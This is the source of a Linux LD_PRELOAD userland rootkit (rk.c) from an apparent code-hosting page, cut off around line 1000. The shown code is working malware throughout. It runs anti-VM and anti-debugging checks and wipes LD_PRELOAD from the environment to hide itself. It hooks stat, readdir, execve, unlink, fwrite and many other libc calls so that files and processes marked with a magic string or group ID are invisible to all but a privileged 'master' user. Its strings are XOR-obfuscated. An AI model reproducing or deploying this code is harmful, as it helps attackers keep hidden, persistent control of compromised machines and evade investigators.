-
Notifications
You must be signed in to change notification settings - Fork 9
/
rk.c
1366 lines (1254 loc) · 30 KB
/
rk.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#define _GNU_SOURCE
#define _LARGEFILE_SOURCE 1
#include <stdio.h>
#include <unistd.h>
#include <strings.h>
#include <string.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <errno.h>
#include <netinet/in.h>
#include <dirent.h>
#include <limits.h>
#include <pwd.h>
#include <shadow.h>
#include "rkheaders.h"
#include "rkconst.h"
#include "utils/clean.h"
#include "utils/strxor.c"
#include "utils/name_from_fd.c"
#include "utils/name_from_pid.c"
#include "utils/hide_procs.c"
#include "utils/anti_vm.c"
void *libc;
extern char **environ;
char *ld_path;
int owned(void)
{
#ifdef DEBUG
printf("[!] owned called\n");
#endif
char *user = strdup(USER); strxor(user);
int x;
struct passwd pwent;
struct passwd *pwp;
char buf[1024];
// work on this after finals
getpwuid_r(getuid(), &pwent, buf, sizeof(buf), &pwp);
if (pwp != NULL)
{
if ((strcmp(pwent.pw_name, user) == 0) || (getgid() == MAGICGID))
{
#ifdef DEBUG
printf("[-] Hello master!\n");
#endif
x = 1;
}
else
{
x = 0;
}
}
else
{
x = 0;
}
CLEAN(user);
return x;
}
__attribute__ ((constructor)) static void init(void)
{
#ifdef DEBUG
printf("[-] rk loaded\n");
#endif
#ifdef ANTIVM
// anti-vm stuff
static int x, result;
CHECK_CPUID(x, &result);
if (result == 1)
{
// WE ARE IN A VM AHHHHHH
#ifdef DEBUG
printf("\033[1m\033[5m\033[31m[*]\033[0m WE ARE IN A VM, COMMITING SEPPUKU\n");
#endif
SEPPUKU();
}
else
{
#ifdef DEBUG
printf("WE ARE NOT IN A VM: ALL CLEAR\n");
#endif
}
int vendor_id[3];
CHECK_VENDORID(vendor_id);
char *vmware = strdup(VMWARE_STR); strxor(vmware);
//char *qemu = strdup(QEMU_STR); strxor(qemu);
char *vbox = strdup(VBOX_STR); strxor(vbox);
if ((strcmp((const char *)vendor_id, vmware) == 0) || (strcmp((const char *)vendor_id, vbox) == 0))
{
// WE ARE IN A VM AHHHHHH
#ifdef DEBUG
printf("\033[1m\033[5m\033[31m[*]\033[0m WE ARE IN A VM, COMMITING SEPPUKU\n");
#endif
CLEAN(vmware);
//CLEAN(qemu);
CLEAN(vbox);
SEPPUKU();
}
else
{
#ifdef DEBUG
printf("WE ARE NOT IN A VM: ALL CLEAR\n");
#endif
}
CLEAN(vmware);
//CLEAN(qemu);
CLEAN(vbox);
#endif
char *libc_path = strdup(LIBC); strxor(libc_path);
libc = dlopen(libc_path, RTLD_LAZY);
// using classic hiding method by haxelion
// https://haxelion.eu/article/LD_NOT_PRELOADED_FOR_REAL/
static const char *ld_preload = "LD_PRELOAD";
int len = strlen(getenv(ld_preload));
ld_path = (char *) malloc(len+1);
strcpy(ld_path, getenv(ld_preload));
int i, j;
// looking for LD_PRELOAD
for (i=0; environ[i]; i++)
{
int x = 1;
for (j=0; ld_preload[j] != '\0' && environ[i][j] != '\0'; j++)
{
if (ld_preload[j] != environ[i][j])
{
x = 0;
break;
}
}
if (x)
{
for (j=0; environ[i][j] != '\0'; j++)
{
environ[i][j] = '\0';
}
break;
free((void*)environ[i]);
}
}
for(j=i; environ[j]; j++)
environ[j] = environ[j+1];
}
int execve(const char *path, char *const argv[], char *const envp[])
{
HOOK(execve);
HOOK(__xstat);
#ifdef DEBUG
printf("[!] execve hooked\n");
#endif
if (owned()) return old_execve(path, argv, envp);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
old___xstat(_STAT_VER, path, &filestat);
if ((strstr(path, magic) != NULL) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
int i, j, x=-1;
for (i=0; envp[i]; i++)
{
// xor this string out later
if (strstr(envp[i], "LD_PRELOAD"))
x = i;
}
if (x == -1)
{
x = i;
i++;
}
char **hidden_env = (char **) malloc((i+1)*sizeof(char *));
for (j=0; j<i; j++)
{
if (j == x)
{
hidden_env[j] = (char *) malloc(256);
strcpy(hidden_env[j], "LD_PRELOAD=");
strcat(hidden_env[j], ld_path);
}
else
hidden_env[j] = (char *) envp[j];
}
hidden_env[i] = NULL;
free(hidden_env[x]);
return old_execve(path, argv, hidden_env);
}
long int ptrace(enum __ptrace_request request, ...)
{
HOOK(ptrace);
#ifdef DEBUG
printf("[!] ptrace hooked\n");
#endif
char *msg = strdup(PTRACE_MSG); strxor(msg);
printf("%s\n", msg);
exit(-1);
}
int stat(const char *path, struct stat *buf)
{
HOOK(stat);
#ifdef DEBUG
printf("[!] stat hooked\n");
#endif
if (owned()) return old_stat(path, buf);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
memset(&filestat, 0x00, sizeof(filestat));
old_stat(path, &filestat);
if ((strstr(path, magic) != NULL) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_stat(path, buf);
}
int stat64(const char *path, struct stat64 *buf)
{
HOOK(stat64);
#ifdef DEBUG
printf("[!] stat64 hooked");
#endif
char *magic = strdup(MAGIC); strxor(magic);
struct stat64 filestat;
memset(&filestat, 0x00, sizeof(filestat));
old_stat64(path, &filestat);
if (owned()) return old_stat64(path, buf);
if ((strstr(path, magic) != NULL) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_stat64(path, buf);
}
int __xstat(int ver, const char *path, struct stat *buf)
{
HOOK(__xstat);
#ifdef DEBUG
printf("[!] __xstat hooked\n");
#endif
if (owned()) return old___xstat(ver, path, buf);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
old___xstat(_STAT_VER, path, &filestat);
if ((strstr(path, magic) != NULL ) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old___xstat(ver, path, buf);
}
int __lxstat(int ver, const char *path, struct stat *buf)
{
HOOK(__lxstat);
#ifdef DEBUG
printf("[!] lxstat hooked\n");
#endif
if (owned()) return old___lxstat(ver, path, buf);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
memset(&filestat, 0x00, sizeof(filestat));
old___lxstat(_STAT_VER, path, &filestat);
if ((strstr(path, magic) != NULL) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old___lxstat(ver, path, buf);
}
int __fxstat(int ver, int fildes, struct stat *buf)
{
HOOK(__fxstat);
#ifdef DEBUG
printf("[!] fxstat hooked\n");
#endif
if (owned()) return old___fxstat(ver, fildes, buf);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
char name[256];
memset(&filestat, 0x00, sizeof(filestat));
name_from_fd(fildes, name, sizeof(name));
old___fxstat(_STAT_VER, fildes, &filestat);
if ((strstr((const char *)name, magic) != NULL) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old___fxstat(ver, fildes, buf);
}
int lstat(const char *pathname, struct stat *buf)
{
HOOK(lstat);
#ifdef DEBUG
printf("[!] lstat hooked");
#endif
struct stat filestat;
memset(&filestat, 0x00, sizeof(filestat));
if (owned()) return old_lstat(pathname, buf);
char *magic = strdup(MAGIC); strxor(magic);
old_lstat(pathname, &filestat);
if ((strstr(pathname, magic) != NULL) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_lstat(pathname, buf);
}
int fstat(int fildes, struct stat *buf)
{
HOOK(fstat);
#ifdef DEBUG
printf("[!] fstat hooked\n");
#endif
if (owned()) return old_fstat(fildes, buf);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
char name[256];
memset(&filestat, 0x00, sizeof(filestat));
name_from_fd(fildes, name, sizeof(name));
old_fstat(fildes, &filestat);
if ((strstr((const char *)name, magic) != NULL ) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_fstat(fildes, buf);
}
int fstat64(int fd, struct stat64 *buf)
{
HOOK(fstat64);
#ifdef DEBUG
printf("[!] fstat64 hooked\n");
#endif
if (owned()) return old_fstat64(fd, buf);
char *magic = strdup(MAGIC); strxor(magic);
struct stat64 filestat;
char name[256];
name_from_fd(fd, name, sizeof(name));
old_fstat64(fd, &filestat);
if ((strstr((const char *)name, magic) != NULL) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_fstat64(fd, buf);
}
int fstatat(int fd, const char *restrict path, struct stat *restrict buf, int flag)
{
HOOK(fstatat);
#ifdef DEBUG
printf("[!] fstatat hooked\n");
#endif
if (owned()) return old_fstatat(fd, path, buf, flag);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
char name[256];
name_from_fd(fd, name, sizeof(name));
old_fstatat(fd, path, &filestat, flag);
if ((strstr((const char *)name, magic) != NULL) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_fstatat(fd, path, buf, flag);
}
int __xstat64(int ver, const char *path, struct stat64 *buf)
{
HOOK(__xstat64);
#ifdef DEBUG
printf("[!] xstat64 hooked\n");
#endif
if (owned()) return old___xstat64(ver, path, buf);
char *magic = strdup(MAGIC); strxor(magic);
struct stat64 filestat;
memset(&filestat, 0x00, sizeof(filestat));
old___xstat64(_STAT_VER, path, &filestat);
if ((strstr(path, magic)) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old___xstat64(ver, path, buf);
}
int __lxstat64(int ver, const char *path, struct stat64 *buf)
{
HOOK(__lxstat64);
#ifdef DEBUG
printf("[!] lxstat64 hooked\n");
#endif
if (owned()) return old___lxstat64(ver, path, buf);
char *magic = strdup(MAGIC); strxor(magic);
struct stat64 filestat;
memset(&filestat, 0x00, sizeof(filestat));
old___lxstat64(_STAT_VER, path, &filestat);
if ((strstr(path, magic)) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old___lxstat64(ver, path, buf);
}
int __fxstat64(int ver, int fildes, struct stat64 *buf)
{
HOOK(__fxstat64);
#ifdef DEBUG
printf("[!] fxstat64 hooked\n");
#endif
if (owned()) return old___fxstat64(ver, fildes, buf);
char *magic = strdup(MAGIC); strxor(magic);
struct stat64 filestat;
char name[256];
name_from_fd(fildes, name, sizeof(name));
old___fxstat64(_STAT_VER, fildes, &filestat);
if (((strstr((const char *)name, magic)) != NULL) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old___fxstat64(ver, fildes, buf);
}
off_t lseek(int fildes, off_t offset, int whence)
{
HOOK(lseek);
HOOK(__fxstat);
#ifdef DEBUG
printf("[!] lseek hooked\n");
#endif
if (owned()) return old_lseek(fildes, offset, whence);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
char name[256];
name_from_fd(fildes, name, sizeof(name));
old___fxstat(_STAT_VER, fildes, &filestat);
if ((strstr((const char *)name, magic) != NULL) ||(filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = EBADF;
return -1;
}
CLEAN(magic);
return old_lseek(fildes, offset, whence);
}
int link(const char *oldpath, const char *newpath)
{
HOOK(link);
HOOK(__xstat);
#ifdef DEBUG
printf("[!] link hooked\n");
#endif
if (owned()) return old_link(oldpath, newpath);
struct stat filestat;
old___xstat(_STAT_VER, oldpath, &filestat);
char *magic = strdup(MAGIC); strxor(magic);
if ((strstr(oldpath, magic) != NULL) || filestat.st_gid == MAGICGID)
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_link(oldpath, newpath);
}
int unlink(const char *path)
{
HOOK(unlink);
HOOK(__xstat);
#ifdef DEBUG
printf("[!] unlink hooked\n");
#endif
if (owned()) return old_unlink(path);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
old___xstat(_STAT_VER, path, &filestat);
if ((strstr(path, magic) != NULL) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_unlink(path);
}
// fix later
int unlinkat(int dirfd, const char *path, int flags)
{
HOOK(unlinkat);
HOOK(__xstat);
#ifdef DEBUG
printf("[!] unlinkat hooked\n");
#endif
if (owned()) return old_unlinkat(dirfd, path, flags);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
old___xstat(_STAT_VER, path, &filestat);
if (((strstr(path, magic) != NULL )) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_unlinkat(dirfd, path, flags);
}
int symlink(const char *path1, const char *path2)
{
HOOK(symlink);
HOOK(__xstat);
#ifdef DEBUG
printf("[!] symlink hooked");
#endif
if (owned()) return old_symlink(path1, path2);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat1, filestat2;
old___xstat(_STAT_VER, path1, &filestat1);
old___xstat(_STAT_VER, path2, &filestat2);
if (owned()) return old_symlink(path1, path2);
if ((strstr(path1, MAGIC) != NULL)|| (filestat1.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_symlink(path1, path2);
}
int creat(const char *path, mode_t mode)
{
HOOK(creat);
HOOK(__lxstat);
#ifdef DEBUG
printf("[!] creat hooked");
#endif
if (owned()) return old_creat(path, mode);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
old___lxstat(_STAT_VER, path, &filestat);
if ((strstr(path, magic) != NULL) || (filestat.st_gid==MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_creat(path, mode);
}
int fputs(const char *s, FILE *stream)
{
HOOK(fputs);
HOOK(__fxstat);
#ifdef DEBUG
printf("[!] fputs hooked\n");
#endif
if (owned()) return old_fputs(s, stream);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
char name[256];
int fd = fileno(stream);
name_from_fd(fd, name, sizeof(name));
old___fxstat(_STAT_VER, fd, &filestat);
if ((strstr((const char *)name, magic) != NULL) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_fputs(s, stream);
}
size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)
{
HOOK(fwrite);
HOOK(__fxstat);
#ifdef DEBUG
printf("[!] fwrite hooked\n");
#endif
if (owned()) return old_fwrite(ptr, size, nmemb, stream);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
char name[256];
int fd = fileno(stream);
name_from_fd(fd, name, sizeof(name));
old___fxstat(_STAT_VER, fd, &filestat);
if ((strstr((const char *)name, magic) != NULL ) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
return 0;
}
return old_fwrite(ptr, size, nmemb, stream);
}
size_t fwrite_unlocked(const void *ptr, size_t size, size_t n, FILE *stream)
{
HOOK(fwrite_unlocked);
HOOK(__fxstat);
#ifdef DEBUG
printf("[!] fwrite_unlocked hooked\n");
#endif
if (owned()) return old_fwrite_unlocked(ptr, size, n, stream);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
char name[256];
int fd = fileno(stream);
name_from_fd(fd, name, sizeof(name));
old___fxstat(_STAT_VER, fd, &filestat);
if ((strstr((const char *)name, magic) != NULL) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
return 0;
}
CLEAN(magic);
return old_fwrite_unlocked(ptr, size, n, stream);
}
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
{
HOOK(fread);
HOOK(__fxstat);
#ifdef DEBUG
printf("[!] fread hooked\n");
#endif
if (owned()) return old_fread(ptr, size, nmemb, stream);
struct stat filestat;
int fd = fileno(stream);
old___fxstat(_STAT_VER, fd, &filestat);
if (filestat.st_gid == MAGICGID)
{
return 0;
}
return old_fread(ptr, size, nmemb, stream);
}
int rename(const char *oldpath, const char *newpath)
{
HOOK(rename);
HOOK(__xstat);
#ifdef DEBUG
printf("[!] rename hooked\n");
#endif
if (owned()) return old_rename(oldpath, newpath);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
old___xstat(_STAT_VER, oldpath, &filestat);
if ((strstr(oldpath, magic) != NULL) || filestat.st_gid == MAGICGID)
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_rename(oldpath, newpath);
}
int renameat(int olddirfd, const char *oldpath, int newdirfd, const char *newpath)
{
HOOK(renameat);
HOOK(__fxstat);
#ifdef DEBUG
printf("[!] renameat hooked\n");
#endif
if (owned()) return old_renameat(olddirfd, oldpath, newdirfd, newpath);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
old___fxstat(_STAT_VER, olddirfd, &filestat);
if ((strstr(oldpath, magic) != NULL) || filestat.st_gid == MAGICGID)
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_renameat(olddirfd, oldpath, newdirfd, newpath);
}
// this hook is from azazel, creds to all original authors
struct dirent *readdir(DIR *dirp)
{
HOOK(readdir);
HOOK(fstat);
#ifdef DEBUG
printf("[!] readdir hooked\n");
#endif
if (owned()) return old_readdir(dirp);
char path[PATH_MAX + 1];
struct dirent *dir;
struct stat filestat;
char *magic = strdup(MAGIC); strxor(magic);
char *proc_path = strdup(PROC_PATH); strxor(proc_path);
char *proc = strdup(PROC); strxor(proc);
char name[256];
int dfd = dirfd(dirp);
name_from_fd(dfd, name, sizeof(name));
if (strstr((const char *)name, proc) != NULL)
{
CLEAN(magic);
CLEAN(proc);
CLEAN(proc_path);
dir = hide_procs(dirp);
return dir;
}
else
{
do
{
dir = old_readdir(dirp);
if (dir != NULL && (strcmp(dir->d_name, ".\0") == 0 || strcmp(dir->d_name, ".\0") == 0))
continue;
if (dir != NULL)
{
int fd;
char fdpath[256], *dirname = (char *) malloc(sizeof(fdpath));
memset(dirname, 0x0, sizeof(fdpath));
fd = dirfd(dirp);
snprintf(fdpath, sizeof(fdpath) - 1, proc_path, fd);
readlink(fdpath, dirname, sizeof(fdpath) - 1);
snprintf(path, PATH_MAX, "%s/%s", dirname, dir->d_name);
old___xstat(_STAT_VER, path, &filestat);
}
} while (dir && ((filestat.st_gid == MAGICGID) || (strstr(path, magic) != NULL)));
}
CLEAN(magic);
CLEAN(proc);
CLEAN(proc_path);
return dir;
}
struct dirent64 *readdir64(DIR *dirp)
{
HOOK(readdir64);
HOOK(__xstat64);
#ifdef DEBUG
printf("[!] readdir64 hooked\n");
#endif
char path[PATH_MAX + 1];
struct dirent64 *dir;
struct stat64 filestat;
char *magic = strdup(MAGIC); strxor(magic);
char *proc_path = strdup(PROC_PATH); strxor(proc_path);
if (owned()) return old_readdir64(dirp);
do
{
dir = old_readdir64(dirp);
if (dir != NULL && (strcmp(dir->d_name, ".\0") == 0 || strcmp(dir->d_name, ".\0") == 0))
continue;
if (dir != NULL)
{
int fd;
char fdpath[256], *dirname = (char *) malloc(sizeof(fdpath));
memset(dirname, 0x0, sizeof(fdpath));
fd = dirfd(dirp);
snprintf(fdpath, sizeof(fdpath) - 1, proc_path, fd);
readlink(fdpath, dirname, sizeof(fdpath) - 1);
snprintf(path, PATH_MAX, "%s/%s", dirname, dir->d_name);
old___xstat64(_STAT_VER, path, &filestat);
}
} while (dir && ((filestat.st_gid == MAGICGID)||strstr(path, magic) != NULL));
CLEAN(magic);
return dir;
}
int chdir(const char *path)
{
/* cd still works on secret dirs because it is implemented in terms of cdir(2), not cdir(1) */
HOOK(chdir);
HOOK(__xstat);
#ifdef DEBUG
printf("[!] chdir hooked\n");
#endif
struct stat filestat;
old___xstat(_STAT_VER, path, &filestat);
if (owned()) return old_chdir(path);
char *magic = strdup(MAGIC); strxor(magic);
if (strstr(path, magic) != NULL || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_chdir(path);
}
int fchdir(int fd)
{
HOOK(fchdir);
HOOK(__fxstat);
#ifdef DEBUG
printf("[!] fchdir hooked\n");
#endif
if (owned()) return old_fchdir(fd);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
old___fxstat(_STAT_VER, fd, &filestat);
if (filestat.st_gid == MAGICGID)
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_fchdir(fd);
}
int mkdir(const char *pathname, mode_t mode)
{
HOOK(mkdir);
HOOK(__xstat);
#ifdef DEBUG
printf("[!] mkdir hooked\n");
#endif
if (owned()) return old_mkdir(pathname, mode);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
old___xstat(_STAT_VER, pathname, &filestat);
if ((strstr(pathname, magic)) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
return old_mkdir(pathname, mode);
}
int mkdirat(int dirfd, const char *pathname, mode_t mode)
{
HOOK(mkdirat);
HOOK(__xstat);
#ifdef DEBUG
printf("[!] mkdirat hooked");
#endif
if (owned()) return old_mkdirat(dirfd, pathname, mode);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
old___xstat(_STAT_VER, pathname, &filestat);
if ((strstr(pathname, magic)) || (filestat.st_gid == MAGICGID))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
CLEAN(magic);
return old_mkdirat(dirfd, pathname, mode);
}
int rmdir(const char *pathname)
{
HOOK(rmdir);
HOOK(__xstat);
#ifdef DEBUG
printf("[!] rmdir hooked");
#endif
struct stat filestat;
old___xstat(_STAT_VER, pathname, &filestat);
if (owned()) return old_rmdir(pathname);
char *magic = strdup(MAGIC); strxor(magic);
if ((filestat.st_gid == MAGICGID) || strstr(pathname, magic))
{
CLEAN(magic);
errno = ENOENT;
return -1;
}
return old_rmdir(pathname);
}
DIR *fdopendir(int fd)
{
HOOK(fdopendir);
HOOK(__fxstat);
#ifdef DEBUG
printf("[!] fdopendir hooked\n");
#endif
if (owned()) return old_fdopendir(fd);
char *magic = strdup(MAGIC); strxor(magic);
struct stat filestat;
old___fxstat(_STAT_VER, fd, &filestat);
if (filestat.st_gid == MAGICGID)
{
CLEAN(magic);
errno = ENOENT;
return NULL;
}
CLEAN(magic);
return old_fdopendir(fd);
}
DIR *opendir(const char *name)
{
HOOK(opendir);
HOOK(__xstat);
#ifdef DEBUG
printf("[!] opendir hooked\n");
#endif
struct stat filestat;
old___xstat(_STAT_VER, name, &filestat);
if (owned()) return old_opendir(name);
char *magic = strdup(MAGIC); strxor(magic);
if ((strstr(name, magic)) || filestat.st_gid == MAGICGID)
{
CLEAN(magic);
errno = ENOENT;
return NULL;
}
CLEAN(magic);
return old_opendir(name);
}
DIR *opendir64(const char *name)
{
HOOK(opendir64);